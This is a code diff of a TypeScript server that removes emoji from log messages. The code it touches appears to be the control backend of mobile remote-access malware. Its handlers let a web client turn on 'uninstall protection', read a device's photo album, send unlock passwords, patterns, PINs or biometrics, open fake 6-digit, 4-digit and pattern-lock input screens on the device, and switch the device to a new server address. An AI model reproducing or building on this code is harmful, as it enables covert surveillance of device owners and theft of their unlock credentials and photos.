{ - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4600,13 +4597,13 @@ export class MessageRouter { message: '防止卸载保护已启用' }) - this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`) + this.logger.info(` 防止卸载保护启用成功: 设备=${deviceId}`) return true } } // 设备Socket不可用 - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4616,7 +4613,7 @@ export class MessageRouter { return false } catch (error) { - this.logger.error(`❌ 启用防止卸载保护失败:`, error) + this.logger.error(` 启用防止卸载保护失败:`, error) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4628,16 +4625,16 @@ export class MessageRouter { } /** - * 🛡️ 处理禁用防止卸载保护的请求 + * 处理禁用防止卸载保护的请求 */ private handleDisableUninstallProtection(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4649,7 +4646,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4682,13 +4679,13 @@ export class MessageRouter { message: '防止卸载保护已禁用' }) - this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`) + this.logger.info(` 防止卸载保护禁用成功: 设备=${deviceId}`) return true } } // 设备Socket不可用 - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4698,7 +4695,7 @@ export class MessageRouter { return false } catch (error) { - this.logger.error(`❌ 禁用防止卸载保护失败:`, error) + this.logger.error(` 禁用防止卸载保护失败:`, error) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4714,12 +4711,12 @@ export class MessageRouter { */ private handleGalleryPermissionCheck(clientId: string, deviceId: string): boolean { try { - this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, @@ -4731,7 +4728,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, @@ -4753,12 +4750,12 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`) + this.logger.info(` 相册权限检查命令已发送到设备: ${deviceId}`) return true } } - this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.logger.warn(` 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, @@ -4784,12 +4781,12 @@ export class MessageRouter { */ private handleAlbumRead(clientId: string, deviceId: string, data: any): boolean { try { - this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`) + this.logger.info(` 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, @@ -4801,7 +4798,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, @@ -4814,7 +4811,7 @@ export class MessageRouter { // 验证数据格式 const { albumId, limit, offset } = data || {} if (limit && (typeof limit !== 'number' || limit <= 0)) { - this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`) + this.logger.warn(` 无效的相册读取限制: ${limit}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, @@ -4824,7 +4821,7 @@ export class MessageRouter { return false } if (offset && (typeof offset !== 'number' || offset < 0)) { - this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`) + this.logger.warn(` 无效的相册读取偏移: ${offset}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, @@ -4850,12 +4847,12 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) + this.logger.info(` 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) return true } } - this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.logger.warn(` 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, @@ -4881,12 +4878,12 @@ export class MessageRouter { */ private handleUnlockDevice(clientId: string, deviceId: string, data: any): boolean { try { - this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, @@ -4897,7 +4894,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, @@ -4909,7 +4906,7 @@ export class MessageRouter { // 验证解锁数据格式 const { password, pattern, pin, biometric } = data || {} if (!password && !pattern && !pin && !biometric) { - this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`) + this.logger.warn(` 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, @@ -4935,7 +4932,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`) + this.logger.info(` 设备解锁命令已发送到设备: ${deviceId}`) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'unlock_device_response', { @@ -4947,7 +4944,7 @@ export class MessageRouter { } } - this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.logger.warn(` 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, @@ -4967,16 +4964,16 @@ export class MessageRouter { } /** - * 🔐 处理打开6位PIN输入界面的请求 + * 处理打开6位PIN输入界面的请求 */ private handleOpenPinInput(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, @@ -4987,7 +4984,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, @@ -5008,7 +5005,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`) + this.logger.info(` 已发送打开6位PIN输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pin_input_response', { @@ -5021,7 +5018,7 @@ export class MessageRouter { } } - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, @@ -5041,16 +5038,16 @@ export class MessageRouter { } /** - * 🔐 处理打开4位密码输入界面的请求 + * 处理打开4位密码输入界面的请求 */ private handleOpenFourDigitPin(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, @@ -5061,7 +5058,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, @@ -5082,7 +5079,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`) + this.logger.info(` 已发送打开4位密码输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { @@ -5095,7 +5092,7 @@ export class MessageRouter { } } - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, @@ -5115,16 +5112,16 @@ export class MessageRouter { } /** - * 🔐 处理打开图形密码输入界面的请求 + * 处理打开图形密码输入界面的请求 */ private handleOpenPatternLock(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, @@ -5135,7 +5132,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, @@ -5156,7 +5153,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`) + this.logger.info(` 已发送打开图形密码输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { @@ -5169,7 +5166,7 @@ export class MessageRouter { } } - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, @@ -5193,12 +5190,12 @@ export class MessageRouter { */ private handleChangeServerUrl(clientId: string, deviceId: string, data: any): boolean { try { - this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, @@ -5209,7 +5206,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, @@ -5220,7 +5217,7 @@ export class MessageRouter { // 验证服务器地址数据 if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') { - this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`) + this.logger.warn(` 无效的服务器地址: ${data?.serverUrl}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, @@ -5243,7 +5240,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`) + this.logger.info(` 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'change_server_url_response', { @@ -5257,7 +5254,7 @@ export class MessageRouter { } } - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, diff --git a/src/services/OptimizationService.ts b/src/services/OptimizationService.ts index c1917be..c2d9b9f 100644 --- a/src/services/OptimizationService.ts +++ b/src/services/OptimizationService.ts @@ -129,7 +129,7 @@ export class OptimizationService { } if (cleanedCount > 0) { - this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`) + this.logger.debug(` 清理过期缓存: ${cleanedCount}条`) } }, 30000) // 每30秒检查一次 } diff --git a/src/services/PerformanceMonitorService.ts b/src/services/PerformanceMonitorService.ts index ec4e79b..c41e80e 100644 --- a/src/services/PerformanceMonitorService.ts +++ b/src/services/PerformanceMonitorService.ts @@ -256,11 +256,11 @@ export class PerformanceMonitorService { const sys = metrics.systemMetrics this.logger.info(` -📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}): - 💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB - 📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}% - 🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min - ⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms + 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}): + 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB + 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}% + 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min + 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms `) } @@ -282,22 +282,22 @@ export class PerformanceMonitorService { // 内存警告 if (latest.memoryUsage.heapUsedPercent > 80) { - warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`) + warnings.push(` 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`) } // 延迟警告 if (latest.messageMetrics.p99Latency > 500) { - warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`) + warnings.push(` 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`) } // 错误率警告 if (latest.messageMetrics.errorRate > 5) { - warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`) + warnings.push(` 错误率过高: ${latest.messageMetrics.errorRate}%`) } // 事件循环延迟警告 if (latest.systemMetrics.eventLoopLag > 100) { - warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`) + warnings.push(` 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`) } return warnings @@ -312,7 +312,7 @@ export class PerformanceMonitorService { if (!latest) return '暂无数据' - let report = '📈 性能报告\n' + let report = ' 性能报告\n' report += '='.repeat(50) + '\n' report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n` report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n` @@ -322,10 +322,10 @@ export class PerformanceMonitorService { report += `运行时间: ${latest.systemMetrics.uptime}s\n` if (warnings.length > 0) { - report += '\n⚠️ 警告:\n' + report += '\n 警告:\n' warnings.forEach(w => report += ` ${w}\n`) } else { - report += '\n✅ 系统运行正常\n' + report += '\n 系统运行正常\n' } return report